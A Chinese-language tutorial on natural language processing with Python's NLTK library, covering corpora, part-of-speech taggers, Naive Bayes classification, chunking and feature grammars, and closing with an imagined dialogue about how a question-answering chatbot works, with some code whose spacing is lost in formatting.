nltk.corpus.gutenberg.fileids()

返回Gutenberg语料库的文件标识符

1
[u'austen-emma.txt', u'austen-persuasion.txt', u'austen-sense.txt', u'bible-kjv.txt', u'blake-poems.txt', u'bryant-stories.txt', u'burgess-busterbrown.txt', u'carroll-alice.txt', u'chesterton-ball.txt', u'chesterton-brown.txt', u'chesterton-thursday.txt', u'edgeworth-parents.txt', u'melville-moby_dick.txt', u'milton-paradise.txt', u'shakespeare-caesar.txt', u'shakespeare-hamlet.txt', u'shakespeare-macbeth.txt', u'whitman-leaves.txt']

nltk.corpus.gutenberg就是gutenberg语料库的阅读器,它有很多实用的方法,比如:

nltk.corpus.gutenberg.raw('chesterton-brown.txt'):输出chesterton-brown.txt文章的原始内容

nltk.corpus.gutenberg.words('chesterton-brown.txt'):输出chesterton-brown.txt文章的单词列表

nltk.corpus.gutenberg.sents('chesterton-brown.txt'):输出chesterton-brown.txt文章的句子列表

类似的语料库还有:

from nltk.corpus import webtext:网络文本语料库,网络和聊天文本

from nltk.corpus import brown:布朗语料库,按照文本分类好的500个不同来源的文本

from nltk.corpus import reuters:路透社语料库,1万多个新闻文档

from nltk.corpus import inaugural:就职演说语料库,55个总统的演说

语料库的一般结构

以上各种语料库都是分别建立的,因此会稍有一些区别,但是不外乎以下几种组织结构:散养式(孤立的多篇文章)、分类式(按照类别组织,相互之间没有交集)、交叉式(一篇文章可能属于多个类)、渐变式(语法随着时间发生变化)

语料库的通用接口

fileids():返回语料库中的文件

categories():返回语料库中的分类

raw():返回语料库的原始内容

words():返回语料库中的词汇

sents():返回语料库句子

abspath():指定文件在磁盘上的位置

open():打开语料库的文件流

加载自己的语料库

收集自己的语料文件(文本文件)到某路径下(比如/tmp),然后执行:

1
2
3
4
from nltk.corpus import PlaintextCorpusReader
corpus_root = '/tmp'
wordlists = PlaintextCorpusReader(corpus_root, '.*')
wordlists.fileids()

就可以列出自己语料库的各个文件了,也可以使用如wordlists.sents('a.txt')wordlists.words('a.txt')等方法来获取句子和词信息

条件频率分布

条件分布大家都比较熟悉了,就是在一定条件下某个事件的概率分布。自然语言的条件频率分布就是指定条件下某个事件的频率分布。

比如要输出在布朗语料库中每个类别条件下每个词的概率:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# coding:utf-8
import sys
reload(sys)
sys.setdefaultencoding( "utf-8" )
import nltk
from nltk.corpus import brown
# 链表推导式,genre是brown语料库里的所有类别列表,word是这个类别中的词汇列表
# (genre, word)就是类别加词汇对
genre_word = [(genre, word)
for genre in brown.categories()
for word in brown.words(categories=genre)
]
# 创建条件频率分布
cfd = nltk.ConditionalFreqDist(genre_word)
# 指定条件和样本作图
cfd.plot(conditions=['news','adventure'], samples=[u'stock', u'sunbonnet', u'Elevated', u'narcotic', u'four', u'woods', u'railing', u'Until', u'aggression', u'marching', u'looking', u'eligible', u'electricity', u'$25-a-plate', u'consulate', u'Casey', u'all-county', u'Belgians', u'Western', u'1959-60', u'Duhagon', u'sinking', u'1,119', u'co-operation', u'Famed', u'regional', u'Charitable', u'appropriation', u'yellow', u'uncertain', u'Heights', u'bringing', u'prize', u'Loen', u'Publique', u'wooden', u'Loeb', u'963', u'specialties', u'Sands', u'succession', u'Paul', u'Phyfe'])

注意:这里如果把plot直接换成tabulate ,那么就是输出表格形式,和图像表达的意思相同

我们还可以利用条件频率分布,按照最大条件概率生成双连词,最终生成一个随机文本

这可以直接使用bigrams()函数,它的功能是生成词对链表。

创建python文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# coding:utf-8
import sys
reload(sys)
sys.setdefaultencoding( "utf-8" )
import nltk
# 循环10次,从cfdist中取当前单词最大概率的连词,并打印出来
def generate_model(cfdist, word, num=10):
for i in range(num):
print word,
word = cfdist[word].max()
# 加载语料库
text = nltk.corpus.genesis.words('english-kjv.txt')
# 生成双连词
bigrams = nltk.bigrams(text)
# 生成条件频率分布
cfd = nltk.ConditionalFreqDist(bigrams)
# 以the开头,生成随机串
generate_model(cfd, 'the')

执行效果如下:

1
the land of the land of the land of the

the的最大概率的双连词是land,land最大概率双连词是of,of最大概率双连词是the,所以后面就循环了

其他词典资源

有一些仅是词或短语以及一些相关信息的集合,叫做词典资源。

词汇列表语料库:nltk.corpus.words.words(),所有英文单词,这个可以用来识别语法错误

停用词语料库:nltk.corpus.stopwords.words,用来识别那些最频繁出现的没有意义的词

发音词典:nltk.corpus.cmudict.dict(),用来输出每个英文单词的发音

比较词表:nltk.corpus.swadesh,多种语言核心200多个词的对照,可以作为语言翻译的基础

同义词集:WordNet,面向语义的英语词典,由同义词集组成,并组织成一个网络

何须动手?完全自动化对语料做词性标注

全人工对语料做词性标注就像蚂蚁一样忙忙碌碌,是非常耗费声明的,如果有一个机器能够完全自动化地,给它一篇语料,它迅速给你一片标注,这样才甚好,本节就来讨论一下怎么样能无需动手对语料做自动化的词性标注

英文词干提取器

1
2
3
importnltk
porter = nltk.PorterStemmer()
printporter.stem('lying')

输出lie

词性标注器

1
2
3
importnltk
text = nltk.word_tokenize("And now for something completely different")
printnltk.pos_tag(text)
1
[('And', 'CC'), ('now', 'RB'), ('for', 'IN'), ('something', 'NN'), ('completely', 'RB'), ('different', 'JJ')]

其中CC是连接词,RB是副词,IN是介词,NN是名次,JJ是形容词

这是一句完整的话,实际上pos_tag是处理一个词序列,会根据句子来动态判断,比如:

1
printnltk.pos_tag(['i','love','you'])
1
[('i', 'NN'), ('love', 'VBP'), ('you', 'PRP')]`

这里的love识别为动词

而:

1
print nltk.pos_tag(['love','and','hate'])
1
[('love', 'NN'), ('and', 'CC'), ('hate', 'NN')]

这里的love识别为名词

nltk中多数都是英文的词性标注语料库,如果我们想自己标注一批语料库该怎么办呢?

nltk提供了比较方便的方法:

1
2
tagged_token = nltk.tag.str2tuple('fly/NN')
printtagged_token
1
('fly', 'NN')

这里的nltk.tag.str2tuple可以把fly/NN这种字符串转成一个二元组,事实上nltk的语料库中都是这种字符串形式的标注,那么我们如果把语料库标记成:

1
2
sent ='我/NN 是/IN 一个/AT 大/JJ 傻×/NN'
print[nltk.tag.str2tuple(t)fortinsent.split()]
1
[('\xe6\x88\x91', 'NN'), ('\xe6\x98\xaf', 'IN'), ('\xe4\xb8\x80\xe4\xb8\xaa', 'AT'), ('\xe5\xa4\xa7', 'JJ'), ('\xe5\x82\xbb\xc3\x97', 'NN')]

这么说来,中文也是可以支持的,恩~

我们来看一下布朗语料库中的标注:

1
nltk.corpus.brown.tagged_words()
1
[(u'The', u'AT'), (u'Fulton', u'NP-TL'), ...]

事实上nltk也有中文的语料库,我们来下载下来:

执行nltk.download(),选择Corpora里的sinica_treebank下载

sinica就是台湾话中的中国研究院

我们看一下这个中文语料库里有什么内容,创建cn_tag.py,内容如下:

1
2
3
4
5
6
7
8
9
# coding:utf-8
importsys
reload(sys)
sys.setdefaultencoding("utf-8")
importnltk
forwordinnltk.corpus.sinica_treebank.tagged_words():
printword[0], word[1]

执行后输出:

1
2
3
4
5
6
7
8
9
10
11
一 Neu
友情 Nad
嘉珍 Nba
和 Caa
我 Nhaa
住在 VC1
同一條 DM
巷子 Nab
我們 Nhaa
是 V_11
……

第一列是中文的词汇,第二列是标注好的词性

我们发现这里面都是繁体,因为是基于台湾的语料生成的,想要简体中文还得自己想办法。不过有人已经帮我们做了这部分工作,那就是jieba切词,https://github.com/fxsjy/jieba,强烈推荐,可以自己加载自己的语料,进行中文切词,并且能够自动做词性标注

词性自动标注

面对一片新的语料库(比如我们从未处理过中文,只有一批批的中文语料,现在让我们做词性自动标注),如何实现词性自动标注?有如下几种标注方法:

默认标注器:不管什么词,都标注为频率最高的一种词性。比如经过分析,所有中文语料里的词是名次的概率是13%最大,那么我们的默认标注器就全部标注为名次。这种标注器一般作为其他标注器处理之后的最后一道门,即:不知道是什么词?那么他是名次。默认标注器用DefaultTagger来实现,具体用法如下:

1
2
3
4
5
6
7
8
9
10
11
12
# coding:utf-8
importsys
reload(sys)
sys.setdefaultencoding("utf-8")
importnltk
default_tagger = nltk.DefaultTagger('NN')
raw ='我 累 个 去'
tokens = nltk.word_tokenize(raw)
tags = default_tagger.tag(tokens)
printtags
1
[('\xe6\x88\x91', 'NN'), ('\xe7\xb4\xaf', 'NN'), ('\xe4\xb8\xaa', 'NN'), ('\xe5\x8e', 'NN'), ('\xbb', 'NN')]

正则表达式标注器:满足特定正则表达式的认为是某种词性,比如凡是带“们”的都认为是代词(PRO)。正则表达式标注器通RegexpTagge实现,用法如下:

1
2
3
pattern = [(r'.*们$','PRO')]
tagger = nltk.RegexpTagger(pattern)
printtagger.tag(nltk.word_tokenize('我们 累 个 去 你们 和 他们 啊'))
1
[('\xe6\x88\x91\xe4', None), ('\xbb', None), ('\xac', None), ('\xe7\xb4\xaf', None), ('\xe4\xb8\xaa', None), ('\xe5\x8e', None), ('\xbb', None), ('\xe4\xbd\xa0\xe4', None), ('\xbb', None), ('\xac', None), ('\xe5\x92\x8c', None), ('\xe4', None), ('\xbb', None), ('\x96\xe4', None), ('\xbb', None), ('\xac', None), ('\xe5\x95\x8a', None)]

查询标注器:找出最频繁的n个词以及它的词性,然后用这个信息去查找语料库,匹配的就标记上,剩余的词使用默认标注器(回退)。这一般使用一元标注的方式,见下面。

一元标注:基于已经标注的语料库做训练,然后用训练好的模型来标注新的语料,使用方法如下:

1
2
3
4
5
6
7
8
importnltk
fromnltk.corpusimportbrown
tagged_sents = [[(u'我',u'PRO'), (u'小兔',u'NN')]]
unigram_tagger = nltk.UnigramTagger(tagged_sents)
sents = brown.sents(categories='news')
sents = [[u'我',u'你',u'小兔']]
tags = unigram_tagger.tag(sents[0])
printtags
1
[(u'\u6211', u'PRO'), (u'\u4f60', None), (u'\u5c0f\u5154', u'NN')]

这里的tagged_sents是用于训练的语料库,我们也可以直接用已有的标注好的语料库,比如:

1
brown_tagged_sents = brown.tagged_sents(categories='news')

二元标注和多元标注:一元标注指的是只考虑当前这个词,不考虑上下文。二元标注器指的是考虑它前面的词的标注,用法只需要把上面的UnigramTagger换成BigramTagger。同理三元标注换成TrigramTagger

组合标注器:为了提高精度和覆盖率,我们对多种标注器组合,比如组合二元标注器、一元标注器和默认标注器,如下:

1
2
3
t0 = nltk.DefaultTagger('NN')
t1 = nltk.UnigramTagger(train_sents, backoff=t0)
t2 = nltk.BigramTagger(train_sents, backoff=t1)

标注器的存储:训练好的标注器为了持久化,可以存储到硬盘,具体方法如下:

1
2
3
4
fromcPickleimportdump
output = open('t2.pkl','wb')
dump(t2, output,-1)
output.close()

使用时也可以加载,如下:

1
2
3
4
from cPickle import load
input = open('t2.pkl', 'rb')
tagger = load(input)
input.close()

自然语言处理中的文本分类

文本分类是机器学习在自然语言处理中的最常用也是最基础的应用,机器学习相关内容可以直接看我的有关scikit-learn相关教程,本节直接涉及nltk中的机器学习相关内容

先来一段前戏

机器学习的过程是训练模型和使用模型的过程,训练就是基于已知数据做统计学习,使用就是用统计学习好的模型来计算未知的数据。

机器学习分为有监督学习和无监督学习,文本分类也分为有监督的分类和无监督的分类。有监督就是训练的样本数据有了确定的判断,基于这些已有的判断来断定新的数据,无监督就是训练的样本数据没有什么判断,完全自发的生成结论。

无论监督学习还是无监督学习,都是通过某种算法来实现,而这种算法可以有多重选择,贝叶斯就是其中一种。在多种算法中如何选择最适合的,这才是机器学习最难的事情,也是最高境界。

nltk中的贝叶斯分类器

贝叶斯是概率论的鼻祖,贝叶斯定理是关于随机事件的条件概率的一则定理,贝叶斯公式是:

P(B|A)=P(A|B)P(B)/P(A);即,已知P(A|B),P(A)和P(B)可以计算出P(B|A)。

贝叶斯分类器就是基于贝叶斯概率理论设计的分类器算法,nltk库中已经实现,具体用法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# coding:utf-8
importsys
reload(sys)
sys.setdefaultencoding("utf-8")
importnltk
my_train_set = [
({'feature1':u'a'},'1'),
({'feature1':u'a'},'2'),
({'feature1':u'a'},'3'),
({'feature1':u'a'},'3'),
({'feature1':u'b'},'2'),
({'feature1':u'b'},'2'),
({'feature1':u'b'},'2'),
({'feature1':u'b'},'2'),
({'feature1':u'b'},'2'),
({'feature1':u'b'},'2'),
]
classifier = nltk.NaiveBayesClassifier.train(my_train_set)
printclassifier.classify({'feature1':u'a'})
printclassifier.classify({'feature1':u'b'})
1
2
3
2

执行后判断特征a和特征b的分类分别是3和2

因为训练集中特征是a的分类是3的最多,所以会归类为3

当然实际中训练样本的数量要多的多,特征要多的多

文档分类

不管是什么分类,最重要的是要知道哪些特征是最能反映这个分类的特点,也就是特征选取。文档分类使用的特征就是最能代表这个分类的词。

因为对文档分类要经过训练和预测两个过程,而特征的提取是这两个过程都需要的,所以,习惯上我们会把特征提取单独抽象出来作为一个公共方法,比如:

以下代码有问题*

1
2
3
4
5
6
7
8
9
importnltk
fromnltk.corpusimportmovie_reviews
all_words = nltk.FreqDist(w.lower()forwinmovie_reviews.words())
all_words.plot(50, cumulative=True)
word_features = all_words.keys()[:2000]
defdocument_features(document):
forwordinword_features:
features['contains(%s)'% word] = (wordindocument_words)
returnfeatures

这是一个简单的特征提取过程,前两行找到movie_reviews语料库中出现词频最高的2000个词作为特征,下面定义的函数就是特征提取函数,每个特征都是形如contains(***)的key,value就是True或False,表示这个词是否在文档中出现

那么我们训练的过程就是:

1
2
featuresets = [(document_features(d), c)for(d,c)indocuments]
classifier = nltk.NaiveBayesClassifier.train(featuresets)

要预测一个新的文档时:

1
classifier.classify(document_features(d))

通过

1
classifier.show_most_informative_features(5)

可以找到最优信息量的特征,这对我们选取特征是非常有帮助的

其他文本分类

文本分类除了文档分类外还有许多其他类型的分类,比如:

词性标注:属于一种文本分类,一般是基于上下文语境的文本分类

句子分割:属于标点符号的分类任务,它的特征一般选取为单独句子标识符的合并链表、数据特征(下一个词是否大写、前一个词是什么、前一个词长度……)

识别对话行为类型:对话行为类型是指问候、问题、回答、断言、说明等

识别文字蕴含:即一个句子是否能得出另外一个句子的结论,这可以认为是真假标签的分类任务。这是一个有挑战的事情

教你怎么从一句话里提取出十句话的信息

按照之前理解的内容,对一句话做处理,最多是切成一个一个的词,再标注上词性,仅此而已,然而事实并非如此,一句话还可以做更多的文章,我们本节见分晓

什么?还能结构化?

任何语言的每一句话之所以称为“话”,是因为它有一定的句子结构,除了一个个独立的词之外,他们之间还存在着某种关系。如果任何一句话可以由任何词构成,可长可短,那么这是一个非结构化的信息,计算机是很难理解并做计算的,但是如果能够以某种方式把句子转化成结构化的形式,计算机就可以理解了。

实事上,人脑在理解一句话的时候也暗暗地在做着由非结构化到结构化的工作。

比如说:“我下午要和小明在公司讨论一个技术问题”。这是一片非结构化的词语拼成的一句话,但是这里面有很多隐含信息:

1)小明是一个实体

2)参与者有两个:我和小明

3)地点设定是:公司

4)要做的事情是:讨论

5)讨论的内容是:问题

6)这个问题是一个技术问题

7)公司是一个地点

8)讨论是一种行为

9)我和小明有某种关系

10)下午是一个时间

上面这些信息有一些是专门针对这个句子的,有一些是常理性的,对于针对句子的信息有利于理解这句话,对于常理性的信息可以积累下来用来以后理解其他句子。

那么怎么才能把非结构化的句子转成结构化的信息呢?要做的工作除了断句、分词、词性标注之外,还要做的一个关键事情就是分块。

分块

分块就是根据句子中的词和词性,按照某种规则组合在一起形成一个个分块,每个分块代表一个实体。常见的实体包括:组织、人员、地点、日期、时间等

以上面的例子为例,首先我们做名词短语分块(NP-chunking),比如:技术问题。名词短语分块通过词性标记和一些规则就可以识别出来,也可以通过机器学习的方法识别

除了名词短语分块还有很多其他分块:介词短语(PP,比如:以我……)、动词短语(VP,比如:打人)、句子(S,我是人)

分块如何标记和存储呢?

可以采用IOB标记,I(inside,内部)、O(outside,外部)、B(begin, 开始),一个块的开始标记为B,块内的标识符序列标注为I,所有其他标识符标注为O

也可以用树结构来存储分块,用树结构可以解决IOB无法标注的另一类分块,那就是多级分块。多级分块就是一句话可以有多重分块方法,比如:我以我的最高权利惩罚你。这里面“最高权利”、“我的最高权利”、“以我的最高权利”是不同类型分块形成一种多级分块,这是无法通过IOB标记的,但是用树结构可以。这也叫做级联分块。具体树结构举个例子:

1
2
3
4
5
6
7
(S
(NP 小明)
(VP
(V 追赶)
(NP
(Det 一只)
(N 兔子))))

这是不是让你想到了语法树?

关系抽取

通过上面的分块可以很容易识别出实体,那么关系抽取实际就是找出实体和实体之间的关系,这是自然语言处理一个质的跨越,实体识别让机器认知了一种事物,关系识别让机器掌握了一个真相。

关系抽取的第一个方法就是找到(X, a, Y)这种三元组,其中X和Y都是实体,a是表达关系的字符串,这完全可以通过正则来识别,因为不同语言有这不同的语法规则,所以方法都是不同的,比如中文里的“爱”可以作为这里的a,但是“和”、“因为”等就不能作为这里的a

编程实现

下面介绍部分有关分块的代码,因为中文标注好分块的语料没有找到,所以只能沿用英文语料来说明,但是原理是一样的

conll2000语料中已经有标注好的分块信息,如下:

1
2
fromnltk.corpusimportconll2000
printconll2000.chunked_sents('train.txt')[99]
1
2
3
4
5
6
7
8
9
10
(S
(PP Over/IN)
(NP a/DT cup/NN)
(PP of/IN)
(NP coffee/NN)
,/,
(NP Mr./NNP Stone/NNP)
(VP told/VBD)
(NP his/PRP$ story/NN)
./.)

我们可以基于这些标注数据做训练,由于这种存储结构比较特殊,所以就不单独基于这种结构实现parser了,只说下跟前面讲的机器学习一样,只要基于这部分数据做训练,然后再用来标注新的语料就行了

文法分析还是基于特征好啊

语法分析固然重要,但要想覆盖语言的全部,需要进一步扩展到文法分析,文法分析可以基于规则,但是工作量难以想象,基于特征的文法分析不但可穷举,而且可以方便用计算机存储和计算,本节简单做一个介绍,更深层次的内容还需要继续关注后面的系列文章

语法和文法

还记得上一节中的这个吗?

1
2
3
4
5
6
7
(S
(NP 小明)
(VP
(V 追赶)
(NP
(Det 一只)
(N 兔子))))

这里面的N表示名词,Det表示限定词,NP表示名词短语,V表示动词,VP表示动词短语,S表示句子

这种句子分析方法叫做语法分析

因为句子可以无限组合无限扩展,所以单纯用语法分析来完成自然语言处理这件事情是不可能的,所以出现了文法分析

文法是一个潜在的无限的句子集合的一个紧凑的特性,它是通过一组形式化模型来表示的,文法可以覆盖所有结构的句子,对一个句子做文法分析,就是把句子往文法模型上靠,如果同时符合多种文法,那就是有歧义的句子

最重要的结论:文法结构范围相当广泛,无法用规则类的方法来处理,只有利用基于特征的方法才能处理

文法特征结构

文法特征举例:单词最后一个字母、词性标签、文法类别、正字拼写、指示物、关系、施事角色、受事角色

因为文法特征是一种kv,所以特征结构的存储形式是字典

不是什么样的句子都能提取出每一个文法特征的,需要满足一定的条件,这需要通过一系列的检查手段来达到,包括:句法协议(比如this dog就是对的,而these dog就是错的)、属性和约束、术语

特征结构的处理

nltk帮我实现了特征结构:

1
2
3
4
5
importnltk
fs1 = nltk.FeatStruct(TENSE='past', NUM='sg')
printfs1
fs2 = nltk.FeatStruct(POS='N', AGR=fs1)
printfs2
1
2
3
4
5
6
7
[ NUM = 'sg' ]
[ TENSE = 'past' ]
[ AGR = [ NUM = 'sg' ] ]
[ [ TENSE = 'past' ] ]
[ ]
[ POS = 'N' ]

在nltk的库里已经有了一些产生式文法描述可以直接使用,位置在:

1
ls /usr/share/nltk_data/grammars/book_grammars
1
background.fol discourse.fcfg drt.fcfg feat0.fcfg feat1.fcfg german.fcfg simple-sem.fcfg sql0.fcfg sql1.fcfg storage.fcfg

我们看其中最简单的一个sql0.fcfg,这是一个查找国家城市的sql语句的文法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
% start S
S[SEM=(?np + WHERE + ?vp)] -> NP[SEM=?np] VP[SEM=?vp]
VP[SEM=(?v + ?pp)] -> IV[SEM=?v] PP[SEM=?pp]
VP[SEM=(?v + ?ap)] -> IV[SEM=?v] AP[SEM=?ap]
NP[SEM=(?det + ?n)] -> Det[SEM=?det] N[SEM=?n]
PP[SEM=(?p + ?np)] -> P[SEM=?p] NP[SEM=?np]
AP[SEM=?pp] -> A[SEM=?a] PP[SEM=?pp]
NP[SEM='Country="greece"'] -> 'Greece'
NP[SEM='Country="china"'] -> 'China'
Det[SEM='SELECT'] -> 'Which' | 'What'
N[SEM='City FROM city_table'] -> 'cities'
IV[SEM=''] -> 'are'
A[SEM=''] -> 'located'
P[SEM=''] -> 'in'

解释一下

这里面从上到下是从最大范围到最小范围一个个的解释,S是句子

我们来加载这个文法描述,并试验如下:

1
2
3
4
5
6
7
importnltk
fromnltkimportload_parser
cp = load_parser('grammars/book_grammars/sql0.fcfg')
query ='What cities are located in China'
tokens = query.split()
fortreeincp.parse(tokens):
printtree
1
2
3
4
5
6
7
8
9
10
11
(S[SEM=(SELECT, City FROM city_table, WHERE, , , Country="china")]
(NP[SEM=(SELECT, City FROM city_table)]
(Det[SEM='SELECT'] What)
(N[SEM='City FROM city_table'] cities))
(VP[SEM=(, , Country="china")]
(IV[SEM=''] are)
(AP[SEM=(, Country="china")]
(A[SEM=''] located)
(PP[SEM=(, Country="china")]
(P[SEM=''] in)
(NP[SEM='Country="china"'] China)))))

我们可以看到用特征结构可以建立对大量广泛的语言学现象的简介分析

重温自然语言处理

自然语言处理怎么学?

先学会倒着学,倒回去看上面那句话:不管三七二十一先用起来,然后再系统地学习

nltk是最经典的自然语言处理的python库,不知道怎么用的看前几篇文章吧,先把它用起来,最起码做出来一个词性标注的小工具

自然语言处理学什么?

这门学科的知识可是相当的广泛,广泛到你不需要掌握任何知识就可以直接学,因为你不可能掌握它依赖的全部知识,所以就直接冲过去吧。。。

话说回来,它到底包括哪些知识呢?如果把这些知识比作难关的话,我数一数,整整九九八十一难

第一难:语言学。直接懵逼了吧?语言学啥玩意,怎么说话?还是怎么学说话?其实大家也都说不清语言学是什么东东,但是我知道大家在这方面都在研究啥,有的在研究语言描述的学问,有的在研究语言理论的学问,有的在研究不同语言对比的学问,有的在研究语言共同点上的学问,有的在研究语言发展的历史,有的在研究语言的结构,总之用一个字来形容那是一个涉猎广泛啊

第二难:语音学。再一次懵逼!有人说:我知道!语音学就是怎么发声。赞一个,回答的那是相当不完全对啊!你以为你是学唱歌吗?语音学研究领域分三块:一块是研究声音是怎么发出来的(同学你说对了一点);一块是研究声音是怎么传递的;一块是研究声音是怎么接收的。这尼玛不是物理吗?怎么还整出语言学来了?其实这是一个交叉学科,交叉了语言学,交叉了生物学

第三难:概率论。啥?怎么到处都是概率论啊?听人说今年又某某某得了诺贝尔经济学奖了,我定睛一看,尼玛,这不是研究的概率论嘛,这也能得经济学奖,真是得数学者得天下啊。废话少说,概率论跟自然语言处理有什么关系?我知道了,说话是一个概率问题,我经常说“尼玛”,那我再次说“尼玛”的概率就高,嗯~沾边了。提到概率论那就少不了这些:贝叶斯老爷爷、马尔可夫大叔……

第四难:信息论。提到信息论肯定第一个想到的是“香浓”啊,有点流口水了,香农老爷爷提出的熵理论影响那是相当巨大啊,没有它估计就没有我们计算机人事什么事了,因为没有他就没有互联网了。还有人说没有图灵就没有计算机了,他咋不说没有他们俩就没有地球了呢?

第五难:机器学习。机器学习是我的最爱,得聊的正式一点,咳咳!机器学习啊——得好好学

第六难:形式语言与自动机。我滴妈啊!我跪了!刚说图灵图灵就来了。说白了,形式语言就是把语言搞的很形式,换句话说就是本来你能懂的东西,搞成你不能懂的东西,那就是形式语言啦!不信?你听:短语结构语言、上下文有关语言、上下文无关语言、正则语言,懂了吗?而自动机呢包括:图灵机、有穷自动机、下推自动机、线性有界自动机。你可能会问了,这么多自动机那得要多少汽油啊?该死的翻译怎么就把这么高大上的英文给翻译成这么晦涩呢,自动机英文叫automata,表达的是自动形成一些信息,也就是说根据前面能自动判断出后面。形式语言用在自然语言处理上我理解,都有语言俩字,可是这自动机有什么用呢?这您还真问着了,您见过拼写检查吗?这就是用的自动机,用处杠杠的!

第七难:语言知识库。你见过科幻电影里的机器人手捧着电话线就能知道一切的镜头吧,互联网上有无数文本内容,用我们抽象的话说那都是知识,但是简单放在电脑里那就是一串字符串,怎么才能让它以知识的形式存储呢?首先得让计算机能分析语言,那么语料就是它学习的基础、是种子,然后有了基础再让它把语言里的知识存储起来,这就形成了语言知识库

第八难:语言模型。模型顾名思义就是“模子”,就是“往上靠”的意思,怎么靠上去更吻合就怎么靠,这就是语言模型。怎么?没懂?好那我用形式化的语言再来说一下:把很多已经整理好的模子放在那里,遇到一个新内容的时候看看属于哪种格式,那就按照这种模子来解释。嗯~你肯定懂了

第九难:分词、实体识别、词性标注。这部分开始纯语言处理了,前几节也简单讲过这部分内容,分词就是让计算机自动区分出汉字组成的词语,因为一个词语一个意思嘛。实体识别就是再分词之后能够根据各种短语形式判断出哪个词表示的是一个物体或组织或人名或……。词性标注就是给你一句话,你能识别出“名动形、数量代、副介连助叹拟声”。

第十难:句法分析。句法分析类似于小学时学的主谓宾补定状的区分,只是要在这基础上组合成短语,也就是把一个非结构化的句子分析称结构化的数据结构

第十一难:语义分析。看起来一步一步越来越深入了。语义是基于句法分析,进一步理解句子的意思,最重要的就是消除歧义,人姑且还会理解出歧义来呢,何况一个机器

第十二难:篇章分析。一堆堆的句子,每个都分析明白了,但是一堆句子组合成的篇章又怎么才能联系起来呢?你得总结出本文的中心思想不是?这他娘的是小学语文里最难的一道题

以上这些内容就是自然语言处理的几大难了,什么?说好的九九八十一难呢?你还不嫌多啊?你还真想变成孙猴子吗?能把这几关过了就不错了!

自然语言处理和聊天机器人什么关系?

说到这里,索性就说说下自然语言处理的应用领域吧。

第一个应用:机器翻译。机器翻译方法有很多,我不做,也不说,想学自己看去

第二个应用:语音翻译。跟上一个不是一个吗?不是的,这是语音,那个是机器

第三个应用:文本分类与情感分析。别看两个词,其实是一种事——分类。前面有很多篇文章将文本分类的,可以看看,还有代码噢。

第四个应用:信息检索与问答系统。终于说到重点了,累死我了。这里的问答系统就是我们的聊天机器人。后面会着重讲这个应用,我不断读论文,不断给大家分享哈,别着急,乖!

第五个应用:自动文摘和信息抽取。看过百度搜索里显示的摘要吗?他们多么的精简,而且描述了网页里的中心内容,多漂亮啊!可惜多数都没做到自动文摘。所以这是一个高技术难度的问题。

第六个应用:人机对话。融合了语音识别、口语情感分析、再加上问答系统的全部内容,是自然语言处理的最高境界,离机器人统霸世界不远了。

以及这么多数不完的应用:文本挖掘、舆情分析、隐喻计算、文字编辑和自动校对、作文自动评分、OCR、说话人识别验证……

好!自然语言处理就温习到这里,让我们上阵出发!

聊天机器人应该怎么做

聊天机器人到底该怎么做呢?我日思夜想,于是乎我做了一个梦,梦里面我完成了我的聊天机器人,它叫chatbot,经过我的一番盘问,它向我叙述了它的诞生记

聊天机器人是可行的

我:chatbot,你好!

chatbot:你也好!

我:聊天机器人可行吗?

chatbot:你不要怀疑这是天方夜谭,我不就在这里吗?世界上还有很多跟我一样聪明的机器人呢,你听过IBM公司在2010年就研发出来了的Watson问答系统吗?它可比我要聪明100倍呢

我:噢,想起来了,据说Watson在智力竞赛中竟然战胜了人类选手。但是我了解到它有一些缺陷:因为它还只是对信息检索技术的综合运用,并没有进行各种语义关系的深刻计算,所以它能回答的问题也仅限于实事类的问题,所以它能赢得也就是知识类的智力竞赛,如果你给它出个脑筋急转弯,它就不行了

chatbot:是的呢,所以你任重道远啊

聊天机器人工作原理是什么

我:chatbot,我问的每一句话,你都是怎么处理并回答我的呢?

chatbot:我身体里有三个重要模块:提问处理模块、检索模块、答案抽取模块。三个模块一起工作,就能回答你的问题啦

我:是嘛,那么这个提问处理模块是怎么工作的呢?

chatbot:提问处理模块要做三项重要工作:查询关键词生成、答案类型确定、句法和语义分析。

我:那么这个查询关。。。

chatbot:别急别急,听我一个一个讲给你听。查询关键词生成,就是从你的提问中提取出关键的几个关键词,因为我本身是一个空壳子,需要去网上查找资料才能回答你,而但网上资料那么多,我该查哪些呢?所以你的提问就有用啦,我找几个中心词,再关联出几个扩展词,上网一搜,一大批资料就来啦,当然这些都是原始资料,我后面要继续处理。再说答案类型确定,这项工作是为了确定你的提问属于哪一类的,如果你问的是时间、地点,和你问的是技术方案,那我后面要做的处理是不一样的。最后再说这个句法和语义分析,这是对你问题的深层含义做一个剖析,比如你的问题是:聊天机器人怎么做?那么我要知道你要问的是聊天机器人的研发方法

我:原来是这样,提问处理模块这三项工作我了解了,那么检索模块是怎么工作的呢?

chatbot:检索模块跟搜索引擎比较像,就是根据查询关键词所信息检索,返回句子或段落,这部分就是下一步要处理的原料

我:那么答案抽取模块呢?

chatbot:答案抽取模块可以说是计算量最大的部分了,它要通过分析和推理从检索出的句子或段落里抽取出和提问一致的实体,再根据概率最大对候选答案排序,注意这里是“候选答案”噢,也就是很难给出一个完全正确的结果,很有可能给出多个结果,最后还在再选出一个来

我:那么我只要实现这三个模块,就能做成一个你喽?

chatbot:是的

聊天机器人的关键技术

我:chatbot,小弟我知识匮乏,能不能告诉我都需要学哪些关键技术才能完成我的梦想

chatbot:小弟。。。我还没满月。说到关键技术,那我可要列一列了,你的任务艰巨了:

1)海量文本知识表示:网络文本资源获取、机器学习方法、大规模语义计算和推理、知识表示体系、知识库构建;

2)问句解析:中文分词、词性标注、实体标注、概念类别标注、句法分析、语义分析、逻辑结构标注、指代消解、关联关系标注、问句分类(简单问句还是复杂问句、实体型还是段落型还是篇章级问题)、答案类别确定;

3)答案生成与过滤:候选答案抽取、关系推演(并列关系还是递进关系还是因果关系)、吻合程度判断、噪声过滤

聊天机器人的技术方法

我:chatbot,我对聊天机器人的相关技术总算有所了解了,但是我具体要用什么方法呢?

